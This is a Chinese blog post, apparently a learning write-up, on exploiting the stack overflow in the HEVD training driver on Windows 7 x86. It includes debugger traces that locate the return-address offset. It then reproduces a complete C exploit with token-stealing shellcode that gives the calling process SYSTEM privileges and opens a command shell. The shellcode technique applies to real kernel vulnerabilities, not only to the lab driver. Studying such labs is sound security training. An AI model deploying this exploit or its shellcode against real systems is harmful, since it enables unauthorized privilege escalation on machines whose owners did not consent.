Windows內核漏洞學習-棧溢出(無GS)

0x00: 前言

在上一節中,將HEVD的環境配置完成,接下來進行內核漏洞的調試復現。爲什麼首先做棧溢出呢,因爲我以前學過一些Pwn知識,棧溢出算是最簡單的漏洞了。使用的環境爲:

  • Windows7 x86 虛擬機系統
  • 雙機調試環境
  • HEVD靶場環境

0x01:漏洞原理

棧溢出原理

棧溢出,即在局部變量拷貝時,沒有控制好拷貝進局部變量的長度。而局部變量又是保存在棧中的,一旦長度過長,就會導致數據溢出淹沒棧環境,覆蓋EBP甚至返回地址。

HEVD漏洞原理分析

給出實驗漏洞代碼。這裏安全和不安全的操作都對比給出了,區別就在於一個按照內核局部變量的大小規定拷貝數據大小,一個直接按照用戶層給定的size來決定拷貝的大小,後者顯然是不安全的。

NTSTATUS TriggerStackOverflow(IN PVOID UserBuffer, IN SIZE_T Size) {
    NTSTATUS Status = STATUS_SUCCESS;
    ULONG KernelBuffer[BUFFER_SIZE] = {0};

    PAGED_CODE();

    __try {
        // Verify if the buffer resides in user mode
        ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG)__alignof(KernelBuffer));
        DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);
        DbgPrint("[+] UserBuffer Size: 0x%X\n", Size);
        DbgPrint("[+] KernelBuffer: 0x%p\n", &KernelBuffer);
        DbgPrint("[+] KernelBuffer Size: 0x%X\n", sizeof(KernelBuffer));

#ifdef SECURE
        //安全的拷貝
        RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer));
#else
        DbgPrint("[+] Triggering Stack Overflow\n");
		//不安全的拷貝
        RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);
#endif
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }

    return Status;
}

0x02:漏洞分析

通過在IDA中分析分發函數,可以看到該漏洞對應的IOCTL碼爲0x222003

在這裏插入圖片描述

在IDA中[編譯]-[段]-[重新設置基址]可以修改基址,這樣就可以找到我們想要下斷的地點。這裏的基址可以在WinDbg裏查看。

kd> lm m H*
Browse full module list
start    end        module name
8421f000 84256000   hal        (deferred)             
88a63000 88a6b000   hwpolicy   (deferred)             
8aa00000 8aa85000   HTTP       (deferred)             
8ab49000 8ab51000   HEVD       (private pdb symbols) 

在這裏插入圖片描述

在函數 TriggerStackOverflow 函數入口處和memcpy處下斷點。

在這裏插入圖片描述

kd> bu 8ab4d62a
kd> bu 8ab4d6b9

接下來就開始進行調試觀察,首先斷在程序的入口處。可以看到返回地址爲 8ab4d718,ebp爲8b607ad0

Breakpoint 0 hit
HEVD!TriggerStackOverflow:
8ab4d62a 680c080000      push    80Ch
kd> k //查看線程信息
 # ChildEBP RetAddr  
00 8b607ad0 8ab4d718 HEVD!TriggerStackOverflow

繼續執行斷在memcpy前

kd> g
Breakpoint 1 hit
HEVD!TriggerStackOverflow+0x8f:
8ab4d6b9 e81ccbffff      call    HEVD!memcpy (8ab4a1da)
kd> dd esp //查看當前堆棧,結合IDA中彙編代碼可以知道這裏  8b6072b4 即爲 buffer
8b607274  8b6072b4 00360a58 00000824 8ab4e5be
8b607284  8ab4e31a 00000800 8ab4e338 8b6072b4
8b607294  8ab4e3a2 00000824 8ab4e3be 00360a58
8b6072a4  01d4b2cd 875e5148 875e51b8 8ab4eda2
8b6072b4  00000000 00000000 00000000 00000000
8b6072c4  00000000 00000000 00000000 00000000
8b6072d4  00000000 00000000 00000000 00000000
8b6072e4  00000000 00000000 00000000 00000000
kd> dd 8b6072b4+0x7f0 //查看buffer末尾,看出buffer長度爲0x800
8b607aa4  00000000 00000000 00000000 00000000
8b607ab4  8ab4eda2 8b6072a4 00000000 8b607bc0
8b607ac4  8ab4a080 000079c5 00000000 8b607ae0
8b607ad4  0edddcdb 00360a58 00000824 8b607afc
8b607ae4  8ab4e185 875e5148 875e51b8 87bd2458
8b607af4  87cf2148 00000000 8b607b14 83e44593
8b607b04  87cf2148 875e5148 875e5148 87cf2148
8b607b14  8b607b34 8403899f 87bd2458 875e5148
kd> k //結合下面 得到當前ebp和返回地址,因此可以看出 buffer距離返回地址的長度爲0x820
 # ChildEBP RetAddr  
00 8b607ad0 0edddcdb HEVD!TriggerStackOverflow+0x8f
kd> r
eax=8b6072b4 ebx=8ab4eda2 ecx=00360a58 edx=00000065 esi=00000800 edi=00000000
eip=8ab4d6b9 esp=8b607274 ebp=8b607ad0 iopl=0         nv up ei pl zr na pe nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00000246
HEVD!TriggerStackOverflow+0x8f:
8ab4d6b9 e81ccbffff      call    HEVD!memcpy (8ab4a1da)

通過上述的分析,我們得到了buffer距離返回地址的偏移值爲0x820;接下來就是通過填充,將返回地址淹沒爲我們自己的地址。

kd> dd 8b6072b4+0x7f0 //查看buffer,可以看到都被填充了,返回地址被修改爲0x1333060
8b607aa4  41414141 41414141 41414141 41414141
8b607ab4  41414141 41414141 41414141 41414141
8b607ac4  41414141 41414141 41414141 41414141
8b607ad4  01333060 00360a58 00000824 8b607afc
8b607ae4  8ab4e185 875e5148 875e51b8 87bd2458
8b607af4  87cf2148 00000000 8b607b14 83e44593
8b607b04  87cf2148 875e5148 875e5148 87cf2148
8b607b14  8b607b34 8403899f 87bd2458 875e5148
kd> r
eax=8b6072b4 ebx=8ab4eda2 ecx=00000000 edx=00000000 esi=00000800 edi=00000000
eip=8ab4d6c1 esp=8b6072a4 ebp=8b607ad0 iopl=0         nv up ei ng nz na po nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00000282
HEVD!TriggerStackOverflow+0x97:
8ab4d6c1 eb21            jmp     HEVD!TriggerStackOverflow+0xba (8ab4d6e4)
kd> k
 # ChildEBP RetAddr  
00 8b607ad0 01333060 HEVD!TriggerStackOverflow+0x97 

0x3:漏洞利用

雖然項目裏有有利用代碼,但是這裏還是給一下別人寫的完整的利用代碼。後面再補充學習一下提權的知識。

#include<stdio.h>
#include<windows.h>
#define STACKOVERFLOW 0x222003
/************************************************************************/
/*		        Stack Over flow                                 		*/
/*                 Write by Thunder_J 2019.6                            */
/************************************************************************/

VOID ShellCode()
{
	//__debugbreak();
	__asm
	{
			pop    edi
			pop    esi
			pop    ebx
			pushad
			mov eax, fs:[124h]
			mov eax, [eax + 050h]
			mov ecx, eax
			mov edx, 4

		find_sys_pid :
					 mov eax, [eax + 0b8h]
					 sub eax, 0b8h
					 cmp[eax + 0b4h], edx
					 jnz find_sys_pid

					 mov edx, [eax + 0f8h]
					 mov[ecx + 0f8h], edx
					 popad
					 pop ebp
					 ret 8
	}
}

static VOID CreateCmd()
{
	STARTUPINFO si = { sizeof(si) };
	PROCESS_INFORMATION pi = { 0 };
	si.dwFlags = STARTF_USESHOWWINDOW;
	si.wShowWindow = SW_SHOW;
	WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
	BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
	if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}

int main()
{
	char buf[0x824];
	HANDLE hDevice;
	DWORD bReturn = 0;
	//»ñÈ¡¾ä±ú
	hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
	GENERIC_READ | GENERIC_WRITE,
	FILE_SHARE_READ | FILE_SHARE_WRITE,
	NULL,
	OPEN_EXISTING,
	FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
	NULL
	);

	printf("Start to get HANDLE...\n");
	if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
	{
		printf("Failed to get handle...!\n");
		return 0;
	}
	//__debugbreak();
	memset(buf, 'A', 0x824);
	*(PDWORD)(buf + 0x820) = (DWORD)&ShellCode;

	// call TriggerStackOverflow()
	printf("Started to over flow...\n");
	//__debugbreak();
	DeviceIoControl(hDevice, STACKOVERFLOW, buf, 0x824,NULL,0,&bReturn,NULL);
	
	printf("Started to Create cmd...\n");
	CreateCmd();
	return 0;
}

明日計劃

繼續學習內核漏洞

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章